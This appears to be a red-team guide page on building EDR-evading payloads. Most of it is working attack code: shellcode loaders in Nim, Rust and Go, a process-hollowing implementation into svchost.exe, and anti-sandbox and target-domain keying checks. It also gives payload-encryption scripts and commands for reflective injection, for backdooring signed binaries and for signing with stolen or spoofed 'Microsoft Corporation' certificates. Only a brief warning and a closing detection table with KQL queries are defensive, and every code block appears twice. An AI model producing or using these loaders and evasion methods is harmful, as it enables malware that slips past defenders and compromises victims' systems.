Payload Development

Custom payload development is essential for bypassing modern EDR solutions that signature common tools. This guide covers building shellcode loaders in Nim, Rust, and Go; reflective DLL injection; crypter architectures; process injection techniques; and the methodology for creating detection-resilient payloads.

Warning

Payload development capabilities should only be used for authorized security testing. Store payloads securely and destroy them after engagements. Never upload custom payloads to public analysis services.

Shellcode Loader Architecture

A modern shellcode loader follows a staged approach to avoid detection at each phase:

Stage Action Evasion Considerations
1. Anti-Analysis Check for sandbox/debugger/AV VM Sleep timers, hardware checks, process enumeration
2. Unhook / Patch Remove EDR hooks, patch AMSI/ETW Fresh ntdll, direct syscalls, inline patching
3. Decrypt Payload Decrypt shellcode from embedded/remote source AES/XOR with key derivation, remote key fetch
4. Allocate Memory Reserve RW memory for shellcode Via syscalls, avoid RWX (allocate RW, later flip to RX)
5. Write Shellcode Copy decrypted shellcode to allocated region Direct write or NtWriteVirtualMemory via syscall
6. Execute Change to RX and execute (callback, APC, thread) Avoid CreateThread — use callbacks, fiber, APC queues

Nim Shellcode Loaders

Nim compiles to C/C++ then to native code, producing binaries with unique signatures that don't match common C++ tooling. The winim library provides full Windows API access.

nim
# Install Nim and winim
# nimble install winim

import winim/lean
import strutils

# XOR-encrypted shellcode (encrypted at build time)
const encShellcode: array[276, byte] = [
  # ... XOR-encrypted shellcode bytes ...
  byte 0xfc, 0x48, 0x83, 0xe4  # example
]

proc xorDecrypt(data: var openArray[byte], key: byte) =
  for i in 0..data.high:
    data[i] = data[i] xor key

proc main() =
  # Anti-sandbox check
  Sleep(5000)  # Sandboxes often skip long sleeps
  
  var sc = encShellcode
  xorDecrypt(sc, 0x41)  # Decrypt shellcode

  # Allocate RW memory via direct Windows API
  let mem = VirtualAlloc(nil, cast[SIZE_T](sc.len), 
    MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE)
  
  # Copy shellcode
  copyMem(mem, addr sc[0], sc.len)
  
  # Change to RX (never RWX)
  var oldProtect: DWORD
  VirtualProtect(mem, cast[SIZE_T](sc.len), 
    PAGE_EXECUTE_READ, addr oldProtect)
  
  # Execute via callback instead of CreateThread
  EnumDesktopsW(GetProcessWindowStation(), 
    cast[DESKTOPENUMPROCW](mem), 0)

main()

# Compile:
# nim c -d:release -d:strip --opt:size --app:gui loader.nim
# Install Nim and winim
# nimble install winim

import winim/lean
import strutils

# XOR-encrypted shellcode (encrypted at build time)
const encShellcode: array[276, byte] = [
  # ... XOR-encrypted shellcode bytes ...
  byte 0xfc, 0x48, 0x83, 0xe4  # example
]

proc xorDecrypt(data: var openArray[byte], key: byte) =
  for i in 0..data.high:
    data[i] = data[i] xor key

proc main() =
  # Anti-sandbox check
  Sleep(5000)  # Sandboxes often skip long sleeps
  
  var sc = encShellcode
  xorDecrypt(sc, 0x41)  # Decrypt shellcode

  # Allocate RW memory via direct Windows API
  let mem = VirtualAlloc(nil, cast[SIZE_T](sc.len), 
    MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE)
  
  # Copy shellcode
  copyMem(mem, addr sc[0], sc.len)
  
  # Change to RX (never RWX)
  var oldProtect: DWORD
  VirtualProtect(mem, cast[SIZE_T](sc.len), 
    PAGE_EXECUTE_READ, addr oldProtect)
  
  # Execute via callback instead of CreateThread
  EnumDesktopsW(GetProcessWindowStation(), 
    cast[DESKTOPENUMPROCW](mem), 0)

main()

# Compile:
# nim c -d:release -d:strip --opt:size --app:gui loader.nim

Rust Shellcode Loaders

Rust produces highly optimized binaries with unique compiler signatures. Memory safety guarantees prevent common bugs, and the windows-rs crate provides type-safe Windows API bindings.

rust
// Cargo.toml dependencies:
// windows = { version = "0.52", features = ["Win32_System_Memory", 
//   "Win32_System_Threading", "Win32_Foundation"] }
// aes = "0.8"
// cbc = "0.1"

use windows::Win32::System::Memory::*;
use windows::Win32::System::Threading::*;

// AES-encrypted shellcode (compile-time encrypted)
const ENC_SHELLCODE: &[u8] = include_bytes!("../shellcode.enc");
const AES_KEY: &[u8; 32] = b"32bytekeyforAES-256encryption!!!";

fn decrypt_aes(data: &[u8], key: &[u8]) -> Vec<u8> {
    // AES-256-CBC decryption
    // ... implementation ...
    data.to_vec() // placeholder
}

fn main() {
    // Anti-sandbox: check process count, timing
    let start = std::time::Instant::now();
    std::thread::sleep(std::time::Duration::from_secs(3));
    if start.elapsed().as_secs() < 2 { return; } // Sandbox detected
    
    let shellcode = decrypt_aes(ENC_SHELLCODE, AES_KEY);
    
    unsafe {
        // Allocate RW memory
        let mem = VirtualAlloc(
            None, shellcode.len(),
            MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE
        );
        
        // Copy shellcode
        std::ptr::copy_nonoverlapping(
            shellcode.as_ptr(), mem as *mut u8, shellcode.len()
        );
        
        // Flip to RX
        let mut old = PAGE_PROTECTION_FLAGS(0);
        VirtualProtect(mem, shellcode.len(), PAGE_EXECUTE_READ, &mut old);
        
        // Execute via thread pool callback
        let tp_work = CreateThreadpoolWork(
            Some(std::mem::transmute(mem)), None, None
        );
        SubmitThreadpoolWork(tp_work.unwrap());
        WaitForThreadpoolWorkCallbacks(tp_work.unwrap(), false);
    }
}

// Build: cargo build --release
// Cargo.toml dependencies:
// windows = { version = "0.52", features = ["Win32_System_Memory", 
//   "Win32_System_Threading", "Win32_Foundation"] }
// aes = "0.8"
// cbc = "0.1"

use windows::Win32::System::Memory::*;
use windows::Win32::System::Threading::*;

// AES-encrypted shellcode (compile-time encrypted)
const ENC_SHELLCODE: &[u8] = include_bytes!("../shellcode.enc");
const AES_KEY: &[u8; 32] = b"32bytekeyforAES-256encryption!!!";

fn decrypt_aes(data: &[u8], key: &[u8]) -> Vec<u8> {
    // AES-256-CBC decryption
    // ... implementation ...
    data.to_vec() // placeholder
}

fn main() {
    // Anti-sandbox: check process count, timing
    let start = std::time::Instant::now();
    std::thread::sleep(std::time::Duration::from_secs(3));
    if start.elapsed().as_secs() < 2 { return; } // Sandbox detected
    
    let shellcode = decrypt_aes(ENC_SHELLCODE, AES_KEY);
    
    unsafe {
        // Allocate RW memory
        let mem = VirtualAlloc(
            None, shellcode.len(),
            MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE
        );
        
        // Copy shellcode
        std::ptr::copy_nonoverlapping(
            shellcode.as_ptr(), mem as *mut u8, shellcode.len()
        );
        
        // Flip to RX
        let mut old = PAGE_PROTECTION_FLAGS(0);
        VirtualProtect(mem, shellcode.len(), PAGE_EXECUTE_READ, &mut old);
        
        // Execute via thread pool callback
        let tp_work = CreateThreadpoolWork(
            Some(std::mem::transmute(mem)), None, None
        );
        SubmitThreadpoolWork(tp_work.unwrap());
        WaitForThreadpoolWorkCallbacks(tp_work.unwrap(), false);
    }
}

// Build: cargo build --release

Go Shellcode Loaders

go
package main

import (
    "crypto/aes"
    "crypto/cipher"
    "syscall"
    "time"
    "unsafe"
)

// Encrypted shellcode embedded at compile time
var encShellcode = []byte{0xfc, 0x48, 0x83} // ...encrypted bytes...

func decrypt(data, key, iv []byte) []byte {
    block, _ := aes.NewCipher(key)
    mode := cipher.NewCBCDecrypter(block, iv)
    mode.CryptBlocks(data, data)
    return data
}

func main() {
    // Anti-sandbox timing check
    start := time.Now()
    time.Sleep(3 * time.Second)
    if time.Since(start) < 2*time.Second {
        return // Sandbox fast-forwarded our sleep
    }

    key := []byte("0123456789abcdef0123456789abcdef")
    iv := []byte("0123456789abcdef")
    shellcode := decrypt(encShellcode, key, iv)

    // Windows API via syscall
    kernel32 := syscall.MustLoadDLL("kernel32.dll")
    virtualAlloc := kernel32.MustFindProc("VirtualAlloc")
    virtualProtect := kernel32.MustFindProc("VirtualProtect")

    // Allocate RW
    addr, _, _ := virtualAlloc.Call(0, uintptr(len(shellcode)),
        0x1000|0x2000, 0x04) // MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE

    // Copy shellcode
    for i, b := range shellcode {
        *(*byte)(unsafe.Pointer(addr + uintptr(i))) = b
    }

    // Flip to RX
    var oldProtect uint32
    virtualProtect.Call(addr, uintptr(len(shellcode)), 0x20,
        uintptr(unsafe.Pointer(&oldProtect))) // PAGE_EXECUTE_READ

    // Execute via callback
    enumDesktops := kernel32.MustFindProc("EnumDesktopsW")
    getProcessWindowStation := kernel32.MustFindProc("GetProcessWindowStation")
    hStation, _, _ := getProcessWindowStation.Call()
    enumDesktops.Call(hStation, addr, 0)
}

// Build: GOOS=windows GOARCH=amd64 go build -ldflags "-s -w -H windowsgui"
package main

import (
    "crypto/aes"
    "crypto/cipher"
    "syscall"
    "time"
    "unsafe"
)

// Encrypted shellcode embedded at compile time
var encShellcode = []byte{0xfc, 0x48, 0x83} // ...encrypted bytes...

func decrypt(data, key, iv []byte) []byte {
    block, _ := aes.NewCipher(key)
    mode := cipher.NewCBCDecrypter(block, iv)
    mode.CryptBlocks(data, data)
    return data
}

func main() {
    // Anti-sandbox timing check
    start := time.Now()
    time.Sleep(3 * time.Second)
    if time.Since(start) < 2*time.Second {
        return // Sandbox fast-forwarded our sleep
    }

    key := []byte("0123456789abcdef0123456789abcdef")
    iv := []byte("0123456789abcdef")
    shellcode := decrypt(encShellcode, key, iv)

    // Windows API via syscall
    kernel32 := syscall.MustLoadDLL("kernel32.dll")
    virtualAlloc := kernel32.MustFindProc("VirtualAlloc")
    virtualProtect := kernel32.MustFindProc("VirtualProtect")

    // Allocate RW
    addr, _, _ := virtualAlloc.Call(0, uintptr(len(shellcode)),
        0x1000|0x2000, 0x04) // MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE

    // Copy shellcode
    for i, b := range shellcode {
        *(*byte)(unsafe.Pointer(addr + uintptr(i))) = b
    }

    // Flip to RX
    var oldProtect uint32
    virtualProtect.Call(addr, uintptr(len(shellcode)), 0x20,
        uintptr(unsafe.Pointer(&oldProtect))) // PAGE_EXECUTE_READ

    // Execute via callback
    enumDesktops := kernel32.MustFindProc("EnumDesktopsW")
    getProcessWindowStation := kernel32.MustFindProc("GetProcessWindowStation")
    hStation, _, _ := getProcessWindowStation.Call()
    enumDesktops.Call(hStation, addr, 0)
}

// Build: GOOS=windows GOARCH=amd64 go build -ldflags "-s -w -H windowsgui"

Reflective DLL Injection

Reflective DLL loading maps a DLL into memory without using Windows loader APIs (LoadLibrary) — no on-disk file, no PEB entry. The DLL contains its own loader that resolves its address, parses PE headers, maps sections, processes relocations, resolves imports, and calls DllMain.

sRDI

Converts any DLL to position-independent shellcode for reflective injection.

BokuLoader

Modern reflective loader for Cobalt Strike — uses direct syscalls, avoids common reflective loading signatures.

bash
# sRDI — convert DLL to reflective shellcode
python3 ConvertToShellcode.py -f payload.dll -o payload.bin
python3 ConvertToShellcode.py -f mimikatz.dll -o mimi.bin -f DllMain

# Donut — convert .NET assemblies, EXEs, DLLs to shellcode
donut.exe -i SharpHound.exe -o sharpbound.bin -e 3 -z 2
donut.exe -i Rubeus.exe -o rubeus.bin -e 3 -z 2 -p "kerberoast"
donut.exe -i Seatbelt.exe -o seatbelt.bin -e 3 -z 2 -p "-group=all"

# Inject reflective shellcode into remote process (Python / Impacket)
from impacket.smbconnection import SMBConnection
# ... establish session, then inject via CreateRemoteThread

# Cobalt Strike — reflective DLL injection
# Uses BokuLoader by default in modern versions
shinject <PID> x64 /path/to/payload.bin
# sRDI — convert DLL to reflective shellcode
python3 ConvertToShellcode.py -f payload.dll -o payload.bin
python3 ConvertToShellcode.py -f mimikatz.dll -o mimi.bin -f DllMain

# Donut — convert .NET assemblies, EXEs, DLLs to shellcode
donut.exe -i SharpHound.exe -o sharpbound.bin -e 3 -z 2
donut.exe -i Rubeus.exe -o rubeus.bin -e 3 -z 2 -p "kerberoast"
donut.exe -i Seatbelt.exe -o seatbelt.bin -e 3 -z 2 -p "-group=all"

# Inject reflective shellcode into remote process (Python / Impacket)
from impacket.smbconnection import SMBConnection
# ... establish session, then inject via CreateRemoteThread

# Cobalt Strike — reflective DLL injection
# Uses BokuLoader by default in modern versions
shinject <PID> x64 /path/to/payload.bin

Process Injection Techniques

Technique APIs Used OPSEC Rating Notes
Classic CreateRemoteThread VirtualAllocEx → WriteProcessMemory → CreateRemoteThread Low Heavily monitored by all EDRs
APC Queue Injection NtQueueApcThread (target alertable thread) Medium Requires alertable thread state
Module Stomping LoadLibraryA → overwrite .text section High Code appears backed by a legitimate DLL
Thread Pool (PoolParty) Worker factory + TpAllocWork High Abuses Windows thread pool internals
Callback Execution EnumDesktopsW, EnumChildWindows, etc. High Execute shellcode via legitimate API callbacks

Process Hollowing

Process hollowing creates a suspended legitimate process, unmaps its image, and maps your payload in its place. Process Doppelgänging is a modern variant that uses NTFS transactions: writes the payload within a transaction, maps the section, then rolls back the transaction so the file never exists on disk.

c
// Process Hollowing — C/C++ implementation
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;

// Step 1: Create suspended legitimate process
CreateProcessA("C:\\Windows\\System32\\svchost.exe", NULL, NULL, NULL,
    FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

// Step 2: Get the image base from the PEB
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread, &ctx);

PVOID imageBase;
ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Rdx + 0x10),
    &imageBase, sizeof(PVOID), NULL);

// Step 3: Unmap the original image
NtUnmapViewOfSection(pi.hProcess, imageBase);

// Step 4: Allocate memory at the image base and write payload
PVOID newBase = VirtualAllocEx(pi.hProcess, imageBase,
    payloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, newBase, payloadBuffer, payloadSize, NULL);

// Step 5: Update entry point in thread context
ctx.Rcx = (DWORD64)newBase + entryPointOffset;
SetThreadContext(pi.hThread, &ctx);

// Step 6: Resume execution
ResumeThread(pi.hThread);
// Process Hollowing — C/C++ implementation
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;

// Step 1: Create suspended legitimate process
CreateProcessA("C:\\Windows\\System32\\svchost.exe", NULL, NULL, NULL,
    FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

// Step 2: Get the image base from the PEB
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread, &ctx);

PVOID imageBase;
ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Rdx + 0x10),
    &imageBase, sizeof(PVOID), NULL);

// Step 3: Unmap the original image
NtUnmapViewOfSection(pi.hProcess, imageBase);

// Step 4: Allocate memory at the image base and write payload
PVOID newBase = VirtualAllocEx(pi.hProcess, imageBase,
    payloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, newBase, payloadBuffer, payloadSize, NULL);

// Step 5: Update entry point in thread context
ctx.Rcx = (DWORD64)newBase + entryPointOffset;
SetThreadContext(pi.hThread, &ctx);

// Step 6: Resume execution
ResumeThread(pi.hThread);

Payload Encryption

Encrypt payloads at build time to evade static signature scanning. XOR is simple but detectable; AES-256-CBC is recommended for production. For maximum evasion, fetch the decryption key from your C2 at runtime so the key is never embedded in the binary and sandboxes cannot decrypt the payload.

bash
# Multi-key XOR encryption (quick obfuscation)
python3 -c "
shellcode = open('payload.bin','rb').read()
key = b'RandomKey123'
enc = bytes([b ^ key[i % len(key)] for i, b in enumerate(shellcode)])
open('payload.enc','wb').write(enc)
"

# AES-256-CBC encryption (recommended)
python3 -c "
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import os
key = os.urandom(32)
iv = os.urandom(16)
shellcode = open('payload.bin','rb').read()
cipher = AES.new(key, AES.MODE_CBC, iv)
enc = cipher.encrypt(pad(shellcode, AES.block_size))
open('payload.enc','wb').write(iv + enc)
print(f'Key: {key.hex()}')
"

# Generate C array for embedding in loader
python3 -c "
data = open('payload.enc','rb').read()
arr = ', '.join([f'0x{b:02x}' for b in data])
print(f'unsigned char encPayload[] = {{ {arr} }};')
print(f'unsigned int encPayload_len = {len(data)};')
" > shellcode.h
# Multi-key XOR encryption (quick obfuscation)
python3 -c "
shellcode = open('payload.bin','rb').read()
key = b'RandomKey123'
enc = bytes([b ^ key[i % len(key)] for i, b in enumerate(shellcode)])
open('payload.enc','wb').write(enc)
"

# AES-256-CBC encryption (recommended)
python3 -c "
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import os
key = os.urandom(32)
iv = os.urandom(16)
shellcode = open('payload.bin','rb').read()
cipher = AES.new(key, AES.MODE_CBC, iv)
enc = cipher.encrypt(pad(shellcode, AES.block_size))
open('payload.enc','wb').write(iv + enc)
print(f'Key: {key.hex()}')
"

# Generate C array for embedding in loader
python3 -c "
data = open('payload.enc','rb').read()
arr = ', '.join([f'0x{b:02x}' for b in data])
print(f'unsigned char encPayload[] = {{ {arr} }};')
print(f'unsigned int encPayload_len = {len(data)};')
" > shellcode.h

Anti-Analysis Techniques

c
// Common anti-sandbox / anti-debug checks:

// 1. Timing check — sandboxes accelerate Sleep()
DWORD start = GetTickCount();
Sleep(5000);
if (GetTickCount() - start < 4500) return; // Sandbox detected

// 2. Hardware checks — VMs have limited resources
MEMORYSTATUSEX mem;
mem.dwLength = sizeof(mem);
GlobalMemoryStatusEx(&mem);
if (mem.ullTotalPhys < 4LL * 1024 * 1024 * 1024) return; // < 4GB RAM

SYSTEM_INFO si;
GetSystemInfo(&si);
if (si.dwNumberOfProcessors < 2) return; // Single-core = likely VM

// 3. Process count — sandboxes have minimal processes
DWORD processes[1024], needed;
EnumProcesses(processes, sizeof(processes), &needed);
if (needed / sizeof(DWORD) < 50) return; // Too few processes

// 4. Username / domain check — keyed payload
// Only decrypt if running on the target domain
TCHAR domain[256];
DWORD size = 256;
GetComputerNameEx(ComputerNameDnsDomain, domain, &size);
if (_wcsicmp(domain, L"target.corp.local") != 0) return;

// 5. API resolution via hash — avoid import table analysis
// Resolve function addresses by hash instead of name
// PEB → LDR → InLoadOrderModuleList → walk exports → hash compare
// Common anti-sandbox / anti-debug checks:

// 1. Timing check — sandboxes accelerate Sleep()
DWORD start = GetTickCount();
Sleep(5000);
if (GetTickCount() - start < 4500) return; // Sandbox detected

// 2. Hardware checks — VMs have limited resources
MEMORYSTATUSEX mem;
mem.dwLength = sizeof(mem);
GlobalMemoryStatusEx(&mem);
if (mem.ullTotalPhys < 4LL * 1024 * 1024 * 1024) return; // < 4GB RAM

SYSTEM_INFO si;
GetSystemInfo(&si);
if (si.dwNumberOfProcessors < 2) return; // Single-core = likely VM

// 3. Process count — sandboxes have minimal processes
DWORD processes[1024], needed;
EnumProcesses(processes, sizeof(processes), &needed);
if (needed / sizeof(DWORD) < 50) return; // Too few processes

// 4. Username / domain check — keyed payload
// Only decrypt if running on the target domain
TCHAR domain[256];
DWORD size = 256;
GetComputerNameEx(ComputerNameDnsDomain, domain, &size);
if (_wcsicmp(domain, L"target.corp.local") != 0) return;

// 5. API resolution via hash — avoid import table analysis
// Resolve function addresses by hash instead of name
// PEB → LDR → InLoadOrderModuleList → walk exports → hash compare

Code Signing

Signed binaries are less scrutinized by EDR and users. Options include self-signed certificates (low trust), expired/stolen certificates, and SigFlip which embeds a payload in a signed PE's certificate table without invalidating the Authenticode signature.

bash
# SigFlip — inject shellcode into signed PE (signature stays valid)
SigFlip.exe -i signed_app.exe -s payload.bin -o backdoored.exe

# CarbonCopy — clone code signing cert from any signed binary
python3 CarbonCopy.py signed_app.exe payload.exe signed_payload.exe

# Self-signed cert for testing (PowerShell)
$cert = New-SelfSignedCertificate -Subject "CN=Microsoft Corporation" \
    -CertStoreLocation Cert:\CurrentUser\My -Type CodeSigningCert
Set-AuthenticodeSignature -FilePath payload.exe -Certificate $cert

# signtool — sign with PFX file
signtool sign /f stolen_cert.pfx /p password /t http://timestamp.digicert.com payload.exe
# SigFlip — inject shellcode into signed PE (signature stays valid)
SigFlip.exe -i signed_app.exe -s payload.bin -o backdoored.exe

# CarbonCopy — clone code signing cert from any signed binary
python3 CarbonCopy.py signed_app.exe payload.exe signed_payload.exe

# Self-signed cert for testing (PowerShell)
$cert = New-SelfSignedCertificate -Subject "CN=Microsoft Corporation" \
    -CertStoreLocation Cert:\CurrentUser\My -Type CodeSigningCert
Set-AuthenticodeSignature -FilePath payload.exe -Certificate $cert

# signtool — sign with PFX file
signtool sign /f stolen_cert.pfx /p password /t http://timestamp.digicert.com payload.exe

Detection & Blue Team

Source Detection
Sysmon Event 1 Unusual process creation with sandbox evasion patterns (sleep delays, resource checks)
Sysmon Event 10 Reflective DLL injection — process access with PROCESS_VM_WRITE + PROCESS_CREATE_THREAD
Sysmon Event 7 Image loaded from non-standard paths or unsigned modules in signed processes
AMSI / ETW Script-based loaders caught by AMSI; .NET assembly loads visible via CLR ETW provider
Code Signing Self-signed or revoked certificates; certificate CN spoofing known vendors
Memory Forensics Hollowed processes with mismatched PEB image base; unbacked executable memory regions
text
// KQL — Detect process hollowing indicators
DeviceProcessEvents
| where FileName in ("svchost.exe","RuntimeBroker.exe","dllhost.exe")
| where InitiatingProcessFileName !in ("services.exe","svchost.exe","wmiprvse.exe")
| project Timestamp, DeviceName, InitiatingProcessFileName, FileName, ProcessCommandLine

// KQL — Detect reflective loading / injection
DeviceEvents
| where ActionType == "CreateRemoteThreadApiCall"
| where InitiatingProcessFileName != FileName
| project Timestamp, DeviceName, InitiatingProcessFileName, FileName
// KQL — Detect process hollowing indicators
DeviceProcessEvents
| where FileName in ("svchost.exe","RuntimeBroker.exe","dllhost.exe")
| where InitiatingProcessFileName !in ("services.exe","svchost.exe","wmiprvse.exe")
| project Timestamp, DeviceName, InitiatingProcessFileName, FileName, ProcessCommandLine

// KQL — Detect reflective loading / injection
DeviceEvents
| where ActionType == "CreateRemoteThreadApiCall"
| where InitiatingProcessFileName != FileName
| project Timestamp, DeviceName, InitiatingProcessFileName, FileName